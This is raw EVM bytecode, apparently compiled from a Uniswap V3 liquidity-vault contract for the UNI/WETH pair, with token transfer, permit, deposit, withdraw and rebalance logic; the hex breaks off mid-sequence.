0000001f9840a85d5af5bf1d1762f925bdaddc4201f9843033886129db565b8315610ad157610ad17f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23033876129db565b610b44565b601254600954600091610b0c916001600160a01b03169088908890600160a01b8104600290810b91600160b81b9004900b612b68565b601254600954919250610b40916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b8433612c0e565b5050505b600a54610b519086612da0565b600a55600b54610b619085612da0565b600b5560405133907fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f5190610b989088908890615d90565b60405180910390a250506001600755505050565b6009546001600160a01b031681565b60025490565b600d5481565b60086020526000908152604090208054600182015460028301546003909301549192909184565b6011546001600160a01b03163314610c185760405162461bcd60e51b81526004016109b990615a5a565b6011546010546040516001600160a01b0392831692909116907f2276211a3f2c7bc1943fe83cc63f8f970204ff6a4b83c690df2bc54d8f2792ad90600090a36011805473ffffffffffffffffffffffffffffffffffffffff199081169091556010805490911633179055565b6000610c91848484612db0565b610d1284610c9d612764565b610d0d856040518060400160405280600381526020016254454160e81b815250600160008b6001600160a01b03166001600160a01b031681526020019081526020016000206000610cec612764565b6001600160a01b031681526020810191909152604001600020549190612ec8565b612768565b5060015b9392505050565b60008060026007541415610d435760405162461bcd60e51b81526004016109b990615d06565b60026007556012546040805163e7c7cb9160e01b81529051610e5f926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610d8e57600080fd5b505afa158015610da2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc691906153e0565b601260009054906101000a90046001600160a01b03166001600160a01b03166326d895456040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1457600080fd5b505afa158015610e28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4c9190615679565b6009546001600160a01b03169190612ef5565b33610e698161281c565b60008411610e895760405162461bcd60e51b81526004016109b990615c25565b601254610ec490600160a01b8104600290810b91600160b81b9004900b610eae610bbb565b6009546001600160a01b03169291908833612fc1565b9093509150610ed33385613176565b336001600160a01b03167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca94858585604051610f1093929190615d9e565b60405180910390a25060016007559092909150565b60055460ff1690565b6010546001600160a01b03163314610f585760405162461bcd60e51b81526004016109b990615ccc565b6001600160a01b038116610f7e5760405162461bcd60e51b81526004016109b990615c5d565b6012805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000610fb761325b565b905090565b6000610968610fc9612764565b84610d0d8560016000610fda612764565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490613325565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b601254600160b81b900460020b81565b601254600160a01b900460020b81565b6010546001600160a01b031681565b600e5481565b600260075414156110865760405162461bcd60e51b81526004016109b990615d06565b6002600755336110958161281c565b33600090815260086020526040902080548411156110c55760405162461bcd60e51b81526004016109b990615ab0565b82816001015410156110e95760405162461bcd60e51b81526004016109b990615c79565b60006110f36128ed565b905060006110ff61298c565b90508582101580156111115750848110155b1561117f578515611148576111487f0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f9843033896129db565b841561117a5761117a7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23033886129db565b6111f0565b6012546009546000916111b5916001600160a01b03169089908990600160a01b8104600290810b91600160b81b9004900b612b68565b6012546009549192506111e9916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b8433612c0e565b9097509550505b82546111fc9087612da0565b8355600183015461120d9086612da0565b600184015560405133907fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51906112469089908990615d90565b60405180910390a25050600160075550505050565b6001600160a01b0381166000908152602081905260409020545b919050565b6010546001600160a01b031633146112a45760405162461bcd60e51b81526004016109b990615ccc565b600260075414156112c75760405162461bcd60e51b81526004016109b990615d06565b60026007556012546040805163e7c7cb9160e01b81529051611312926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610d8e57600080fd5b600061131d8161281c565b60125460095461134e916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b613335565b600080600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561139f57600080fd5b505afa1580156113b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d79190615577565b50505050509150915060006040518060e001604052806000815260200160008152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b81525090506000601260009054906101000a90046001600160a01b03166001600160a01b03166328a90bc26040518163ffffffff1660e01b815260040160206040518083038186803b15801561147d57600080fd5b505afa158015611491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b591906153e0565b7f000000000000000000000000000000000000000000000000000000000000003c02905061150483827f000000000000000000000000000000000000000000000000000000000000003c61346c565b600290810b810b60c085015290810b900b60a08301526115226128ed565b825261152c61298c565b6020830181905282516040517f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b198926115649291615d90565b60405180910390a18151602083015160a084015160c0850151600954611599946001600160a01b039091169390929091612b68565b6001600160801b03166080830181905260a083015160c08401516009546115cd936001600160a01b03909116929091613489565b6060840181905260408401829052835160208501516000936115ee93613532565b90506000816116225761161d600261161786606001518760200151612da090919063ffffffff16565b9061356d565b611639565b604084015184516116399160029161161791612da0565b905060007f00000000000000000000000000000000000000000000000000000000000f424062ffffff166117116002601260009054906101000a90046001600160a01b03166001600160a01b0316630a7013236040518163ffffffff1660e01b815260040160206040518083038186803b1580156116b657600080fd5b505afa1580156116ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ee9190615605565b62ffffff16816116fa57fe5b6001600160a01b038b169162ffffff910416613572565b6001600160a01b03168161172157fe5b0490506000836117435761173e6001600160a01b038916836135c4565b611756565b6117566001600160a01b038916836135e0565b6009546040805160208082018352881515825291519394506001600160a01b039092169263128acb089230928992899288926117929201615d52565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016117c195949392919061576d565b6040805180830381600087803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181291906153fa565b5050600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561186257600080fd5b505afa158015611876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189a9190615577565b50949c50929a506118af93506128ed92505050565b86526118b961298c565b6020870181905286516040517f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b198926118f19291615d90565b60405180910390a18551602087015160095461193a926001600160a01b0390911691887f000000000000000000000000000000000000000000000000000000000000003c6135fc565b6012805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b9290921685029190911791829055895160208b01516009546119aa966001600160a01b039091169592949193908204830b929104900b612b68565b6001600160801b03166080870181905260095460125460408051602080820183523080835292516001600160a01b0390951695633c8a7d8d959394600160a01b8104600290810b95600160b81b909204900b939192611a0a929101615d3f565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401611a399594939291906157b2565b6040805180830381600087803b158015611a5257600080fd5b505af1158015611a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8a91906153fa565b60608801819052604080890183905260125490517fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f93611ae093600160a01b8404600290810b94600160b81b9004900b9261595b565b60405180910390a15050600160075550505050505050565b6001600160a01b038116600090815260066020526040812061096c906137fb565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108845780601f1061085957610100808354040283529160200191610884565b600b5481565b6000610968611b8d612764565b84610d0d85604051806040016040528060038152602001622222a160e91b81525060016000611bba612764565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612ec8565b6012546001600160a01b031681565b6000610968611c07612764565b8484612db0565b6010546001600160a01b03163314611c385760405162461bcd60e51b81526004016109b990615ccc565b6011805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b601254600160d01b900460ff1681565b600f5481565b600c5481565b7f000000000000000000000000000000000000000000000000000000000000003c81565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6009546001600160a01b03163314611cf55760405162461bcd60e51b81526004016109b990615a03565b6000611d038284018461546e565b90508415611d3b57611d3b7f0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984826000015133886129db565b8315611d7157611d717f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2826000015133876129db565b5050505050565b83421115611d985760405162461bcd60e51b81526004016109b9906159e7565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888611dc78c6137ff565b89604051602001611ddd969594939291906158a9565b6040516020818303038152906040528051906020012090506000611e0082613831565b90506000611e1082878787613844565b9050896001600160a01b0316816001600160a01b031614611e435760405162461bcd60e51b81526004016109b990615bcf565b611e4e8a8a8a612768565b50505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6010546001600160a01b03163314611eaf5760405162461bcd60e51b81526004016109b990615ccc565b601254600160d01b900460ff1615611ed95760405162461bcd60e51b81526004016109b990615c96565b601280547fffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffff16600160d01b17908190556040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b158015611f4b57600080fd5b505afa158015611f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8391906153e0565b7f000000000000000000000000000000000000000000000000000000000000003c0290506000600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015611ff757600080fd5b505afa15801561200b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202f9190615577565b50505050509150506000612063827f000000000000000000000000000000000000000000000000000000000000003c61393c565b6012805462ffffff60a01b1916600160a01b868403600290810b62ffffff90811683029390931762ffffff60b81b1916600160b81b868a01830b94909416840217938490559394506120c093908304810b9291909104900b613988565b505050565b6000806000600260075414156120ed5760405162461bcd60e51b81526004016109b990615d06565b60026007556012546040805163e7c7cb9160e01b81529051612138926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610d8e57600080fd5b336121428161281c565b6000861180156121525750600085115b61216e5760405162461bcd60e51b81526004016109b990615a93565b6012546009546000916121a4916001600160a01b03169089908990600160a01b8104600290810b91600160b81b9004900b612b68565b600954601254604080516020808201835233825291519495506001600160a01b0390931693633c8a7d8d933093600160a01b8104600290810b94600160b81b909204900b9288926121f792909101615d3f565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016122269594939291906157b2565b6040805180830381600087803b15801561223f57600080fd5b505af1158015612253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227791906153fa565b909450925061228581613a00565b94506122913386613a78565b612299613b2c565b336001600160a01b03167f36af321ec8d3c75236829c5317affd40ddb308863a1236d2d277a4025cccee1e8686866040516122d693929190615d9e565b60405180910390a2505060016007819055509250925092565b600a5481565b600260075414156123185760405162461bcd60e51b81526004016109b990615d06565b60026007556012546040805163e7c7cb9160e01b81529051612363926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610d8e57600080fd5b600061236e8161281c565b60125460095461239f916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b613335565b60006123a96128ed565b905060006123b561298c565b90507f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b19882826040516123e8929190615d90565b60405180910390a16012546040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b15801561243557600080fd5b505afa158015612449573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246d91906153e0565b6009547f000000000000000000000000000000000000000000000000000000000000003c91820292506124b1916001600160a01b03909116908590859085906135fc565b6012805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b929092168502919091179182905560095460009461251d946001600160a01b039092169389938993928204830b929104900b612b68565b600954601254604080516020808201835230808352925195965060009586956001600160a01b031694633c8a7d8d9493600160a01b8204600290810b94600160b81b909304900b928a92612572929101615d3f565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016125a19594939291906157b2565b6040805180830381600087803b1580156125ba57600080fd5b505af11580156125ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125f291906153fa565b6012546040519294509092507fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f9161264591600160a01b8104600290810b92600160b81b909204900b908690869061595b565b60405180910390a1505060016007555050505050565b6011546001600160a01b031681565b6009546001600160a01b031633146126945760405162461bcd60e51b81526004016109b990615a03565b60008413806126a35750600083135b6126ac57600080fd5b60006126ba828401846154b3565b805190915080156126f6576126f17f0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f9843033896129db565b612722565b6127227f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23033886129db565b505050505050565b4690565b6000838383604051602001612745939291906156c9565b6040516020818303038152906040528051906020012090509392505050565b3390565b6001600160a01b03831661278e5760405162461bcd60e51b81526004016109b990615a1f565b6001600160a01b0382166127b45760405162461bcd60e51b81526004016109b990615ce8565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061280f9085906158a0565b60405180910390a3505050565b60125460095460009161284e916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b613b3e565b6001600160801b031690508061286457506128ea565b60008061286f613bd9565b9150915061287f82600e54613f1f565b600e55600f54612890908290613f1f565b600f556001600160a01b038416156128e657336000908152600860205260409020600e546128bf908690613f62565b8155600e546002820155600f546128d7908690613fdd565b6001820155600f546003909101555b5050505b50565b6040516370a0823160e01b81526000906001600160a01b037f0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f98416906370a082319061293c903090600401615735565b60206040518083038186803b15801561295457600080fd5b505afa158015612968573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb79190615640565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a082319061293c903090600401615735565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316846001600160a01b0316148015612a1c5750804710155b15612b3b577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015612a7c57600080fd5b505af1158015612a90573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216935063a9059cbb9250612ae3915085908590600401615832565b602060405180830381600087803b158015612afd57600080fd5b505af1158015612b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3591906153c4565b506128e6565b6001600160a01b038316301415612b5c57612b57848383614049565b6128e6565b6128e684848484614164565b600080866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015612ba457600080fd5b505afa158015612bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bdc9190615577565b5050505050509050612c0181612bf186614281565b612bfa86614281565b89896145a7565b9150505b95945050505050565b60008080612c266001600160a01b0389168888613b3e565b9050846001600160801b0316816001600160801b03161015612c5a5760405162461bcd60e51b81526004016109b990615b95565b60405163a34123a760e01b81526001600160a01b0389169063a34123a790612c8a908a908a908a90600401615935565b6040805180830381600087803b158015612ca357600080fd5b505af1158015612cb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cdb91906153fa565b909350915082151580612cee5750600082115b15612d9557876001600160a01b0316634f1eb3d8858989612d0e88614669565b612d1788614669565b6040518663ffffffff1660e01b8152600401612d379594939291906157f5565b6040805180830381600087803b158015612d5057600080fd5b505af1158015612d64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d8891906154ef565b506001600160801b031692505b509550959350505050565b8082038281111561096c57600080fd5b6001600160a01b038316612dd65760405162461bcd60e51b81526004016109b990615acd565b6001600160a01b038216612dfc5760405162461bcd60e51b81526004016109b990615a76565b612e078383836120c0565b60408051808201825260038152622a22a160e91b6020808301919091526001600160a01b0386166000908152908190529190912054612e47918390612ec8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612e769082613325565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061280f9085906158a0565b8183038184821115612eed5760405162461bcd60e51b81526004016109b9919061597e565b509392505050565b6000836001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015612f3057600080fd5b505afa158015612f44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f689190615577565b50505050509150506000612f7c858461467f565b905060008160020b8360020b13612f9557828203612f99565b8183035b90508460020b8160020b13156127225760405162461bcd60e51b81526004016109b990615c08565b60008060008511612fe45760405162461bcd60e51b81526004016109b9906159cb565b6000612ffa6001600160a01b038a168989613b3e565b90506000866130126001600160801b038416886147bf565b8161301957fe5b049050801561316957896001600160a01b031663a34123a78a8a61303c85614669565b6040518463ffffffff1660e01b815260040161305a93929190615935565b6040805180830381600087803b15801561307357600080fd5b505af1158015613087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ab91906153fa565b9094509250831515806130be5750600083115b1561316957896001600160a01b0316634f1eb3d8868b8b6130de89614669565b6130e789614669565b6040518663ffffffff1660e01b81526004016131079594939291906157f5565b6040805180830381600087803b15801561312057600080fd5b505af1158015613134573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061315891906154ef565b6001600160801b0391821695501692505b5050965096945050505050565b6001600160a01b03821661319c5760405162461bcd60e51b81526004016109b990615a3d565b6131a8826000836120c0565b60408051808201825260038152622122a160e91b6020808301919091526001600160a01b03851660009081529081905291909120546131e8918390612ec8565b6001600160a01b03831660009081526020819052604090205560025461320e9082612da0565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061324f9085906158a0565b60405180910390a35050565b60007f000000000000000000000000000000000000000000000000000000000000000161328661272a565b14156132b357507f07cf60f9d0224933605fb6a09e174df0c89c264fd76acb46730490c6577ad4a361088c565b61331e7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f13f2c035d0761ebaf03e10f8fe48304884567766a9d08c6785a337d9f47694fc7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66147e2565b905061088c565b8082018281101561096c57600080fd5b600061334b6001600160a01b0385168484613b3e565b90506001600160801b038116156133e05760405163a34123a760e01b81526001600160a01b0385169063a34123a79061338c90869086908690600401615935565b6040805180830381600087803b1580156133a557600080fd5b505af11580156133b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133dd91906153fa565b50505b6040516309e3d67b60e31b81526001600160a01b03851690634f1eb3d89061341b903090879087906001600160801b039081906004016157f5565b6040805180830381600087803b15801561343457600080fd5b505af1158015613448573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061272291906154ef565b600080600061347b868561393c565b858103979501955050505050565b6000806000866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156134c757600080fd5b505afa1580156134db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134ff9190615577565b50505050505090506135238161351487614281565b61351d87614281565b89614804565b92509250505b94509492505050565b6000613548856135428685612da0565b906147bf565b613556856135428887612da0565b11613562576000612c05565b600195945050505050565b900490565b60006001600160a01b03831615806135bb5750816001600160a01b0316836001600160a01b03168385029250826001600160a01b0316816135af57fe5b046001600160a01b0316145b61096c57600080fd5b8082016001600160a01b03808416908216101561096c57600080fd5b8082036001600160a01b03808416908216111561096c57600080fd5b60008060006040518060e00160405280888152602001878152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b8152509050600080896001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561368657600080fd5b505afa15801561369a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136be9190615577565b5050505050915091506136d281888861346c565b600290810b810b60c0860181905291810b900b60a08501819052845160208601516136ff938e939061489f565b606085018190526040850182905260a085015160c0860151613726938e9390929091612b68565b6001600160801b0316608084015282516020840151604085015160608601516000936137559390929091613532565b9050801561379a576000613774848660800151876000015160006148ce565b9050613788613782826149c8565b8961393c565b600290810b900b60c0860152506137cd565b60006137b184866080015187602001516000614cdb565b90506137bf613782826149c8565b600290810b900b60a0860152505b6137df8460a001518560c00151613988565b8360a0015195508360c001519450505050509550959350505050565b5490565b6001600160a01b0381166000908152600660205260408120613820816137fb565b915061382b81614db7565b50919050565b600061096c61383e61325b565b83614dc0565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156138865760405162461bcd60e51b81526004016109b990615991565b8360ff16601b148061389b57508360ff16601c145b6138b75760405162461bcd60e51b81526004016109b990615b24565b6000600186868686604051600081526020016040526040516138dc9493929190615909565b6020604051602081039080840390855afa1580156138fe573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166139315760405162461bcd60e51b81526004016109b990615bcf565b90505b949350505050565b6000808260020b8460020b8161394e57fe5b05905060008460020b12801561397557508260020b8460020b8161396e57fe5b0760020b15155b1561397f57600019015b90910292915050565b8060020b8260020b126139ad5760405162461bcd60e51b81526004016109b9906159ae565b620d89e719600283900b12156139d55760405162461bcd60e51b81526004016109b990615bb2565b620d89e8600282900b13156139fc5760405162461bcd60e51b81526004016109b990615b78565b5050565b6000613a0a610bbb565b15613a6b57601254600954613a6691613a42916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b613b3e565b6001600160801b0316611617613a56610bbb565b6001600160801b038616906147bf565b61096c565b506001600160801b031690565b6001600160a01b038216613a9e5760405162461bcd60e51b81526004016109b990615c40565b613aaa600083836120c0565b600254613ab79082613325565b6002556001600160a01b038216600090815260208190526040902054613add9082613325565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061324f9085906158a0565b4715613b3c57613b3c3347614df3565b565b600080613b4c30858561272e565b60405163514ea4bf60e01b81529091506001600160a01b0386169063514ea4bf90613b7b9084906004016158a0565b60a06040518083038186803b158015613b9357600080fd5b505afa158015613ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bcb9190615521565b509298975050505050505050565b60095460125460405163a34123a760e01b815260009283926001600160a01b039091169163a34123a791613c2891600160a01b8204600290810b92600160b81b9004900b908690600401615935565b6040805180830381600087803b158015613c4157600080fd5b505af1158015613c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c7991906153fa565b50506009546012546040516309e3d67b60e31b815260009283926001600160a01b0390911691634f1eb3d891613cd6913091600160a01b8104600290810b92600160b81b909204900b906001600160801b039081906004016157f5565b6040805180830381600087803b158015613cef57600080fd5b505af1158015613d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d2791906154ef565b6001600160801b031691506001600160801b031691506000613dfd7f00000000000000000000000000000000000000000000000000000000000f424062ffffff16611617601260009054906101000a90046001600160a01b03166001600160a01b031663b0e21e8a6040518163ffffffff1660e01b815260040160206040518083038186803b158015613db957600080fd5b505afa158015613dcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613df19190615605565b869062ffffff166147bf565b90506000613e7b7f00000000000000000000000000000000000000000000000000000000000f424062ffffff16611617601260009054906101000a90046001600160a01b03166001600160a01b031663b0e21e8a6040518163ffffffff1660e01b815260040160206040518083038186803b158015613db957600080fd5b600a54909150613e8b9083613325565b600a55600b54613e9b9082613325565b600b55613ea88483612da0565b9550613eb48382612da0565b600c54909550613ec49087613325565b600c55600d54613ed49086613325565b600d819055600c546040517f1ac56d7e866e3f5ea9aa92aa11758ead39a0a5f013f3fefb0f47cb9d008edd2792613f0f928892889290615db4565b60405180910390a1505050509091565b600080613f2a610bbb565b90508015613f5a57613f52613f4b8261161787670de0b6b3a76400006147bf565b8490613325565b91505061096c565b509092915050565b6001600160a01b038216600090815260086020908152604080832081516080810183528154808252600183015494820194909452600282015492810183905260039091015460608201529161393491613fd790670de0b6b3a76400009061161790613fce908990612da0565b6135428a61125b565b90613325565b6001600160a01b038216600090815260086020908152604080832081516080810183528154815260018201549381018490526002820154928101929092526003015460608201819052909161393491613fd790670de0b6b3a76400009061161790613fce908990612da0565b600080846001600160a01b031663a9059cbb60e01b8585604051602401614071929190615832565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516140dc91906156fe565b6000604051808303816000865af19150503d8060008114614119576040519150601f19603f3d011682016040523d82523d6000602084013e61411e565b606091505b509150915081801561414857508051158061414857508080602001905181019061414891906153c4565b611d715760405162461bcd60e51b81526004016109b990615b5c565b600080856001600160a01b03166323b872dd60e01b86868660405160240161418e93929190615749565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516141f991906156fe565b6000604051808303816000865af19150503d8060008114614236576040519150601f19603f3d011682016040523d82523d6000602084013e61423b565b606091505b509150915081801561426557508051158061426557508080602001905181019061426591906153c4565b6127225760405162461bcd60e51b81526004016109b990615beb565b60008060008360020b12614298578260020b6142a0565b8260020b6000035b9050620d89e88111156142c55760405162461bcd60e51b81526004016109b990615b41565b6000600182166142e6577001000000000000000000000000000000006142f8565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff169050600282161561432c576ffff97272373d413259a46990580e213a0260801c5b600482161561434b576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b600882161561436a576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615614389576fffcb9843d60f6159c9db58835c9266440260801c5b60208216156143a8576fff973b41fa98c081472e6896dfb254c00260801c5b60408216156143c7576fff2ea16466c96a3843ec78b326b528610260801c5b60808216156143e6576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615614406576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615614426576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615614446576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615614466576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615614486576fd097f3bdfd2022b8845ad8f792aa58250260801c5b6120008216156144a6576fa9f746462d870fdf8a65dc1f90e061e50260801c5b6140008216156144c6576f70d869a156d2a1b890bb3df62baf32f70260801c5b6180008216156144e6576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615614507576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b62020000821615614527576e5d6af8dedb81196699c329225ee6040260801c5b62040000821615614546576d2216e584f5fa1ea926041bedfe980260801c5b62080000821615614563576b048a170391f7dc42444e8fa20260801c5b60008460020b131561457e57806000198161457a57fe5b0490505b640100000000810615614592576001614595565b60005b60ff16602082901c0192505050919050565b6000836001600160a01b0316856001600160a01b031611156145c7579293925b846001600160a01b0316866001600160a01b0316116145f2576145eb858585614e80565b9050612c05565b836001600160a01b0316866001600160a01b03161015614654576000614619878686614e80565b90506000614628878986614ee3565b9050806001600160801b0316826001600160801b031610614649578061464b565b815b92505050612c05565b61465f858584614ee3565b9695505050505050565b806001600160801b038116811461127557600080fd5b60408051600280825260608201835260009284928492909160208301908036833701905050905081816000815181106146b457fe5b602002602001019063ffffffff16908163ffffffff16815250506000816001815181106146dd57fe5b63ffffffff9092166020928302919091019091015260405163883bdbfd60e01b81526000906001600160a01b0387169063883bdbfd9061472190859060040161584b565b60006040518083038186803b15801561473957600080fd5b505afa15801561474d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261477591908101906152fc565b5090508263ffffffff168160008151811061478c57fe5b6020026020010151826001815181106147a157fe5b60200260200101510360060b816147b457fe5b059695505050505050565b60008215806135bb575050818102818382816147d757fe5b041461096c57600080fd5b60008383836147ef61272a565b306040516020016127459594939291906158dd565b600080836001600160a01b0316856001600160a01b03161115614825579293925b846001600160a01b0316866001600160a01b03161161485057614849858585614f20565b9150613529565b836001600160a01b0316866001600160a01b0316101561488957614875868585614f20565b9150614882858785614f89565b9050613529565b614894858585614f89565b905094509492505050565b60008060006148b18888888888612b68565b90506148bf88828787613489565b90999098509650505050505050565b6000826148dc575083613934565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b16821561497c576001600160a01b0386168481029085828161491c57fe5b04141561494d5781810182811061494b5761494183896001600160a01b031683614fcc565b9350505050613934565b505b6149738261496e878a6001600160a01b0316868161496757fe5b0490613325565b615006565b92505050613934565b6001600160a01b0386168481029085828161499357fe5b041480156149a057508082115b6149a957600080fd5b8082036149416149c3846001600160a01b038b1684614fcc565b615011565b60006401000276a36001600160a01b03831610801590614a04575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b614a205760405162461bcd60e51b81526004016109b990615cb1565b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c97908811961790941790921717909117171760808110614ac157607f810383901c9150614acb565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c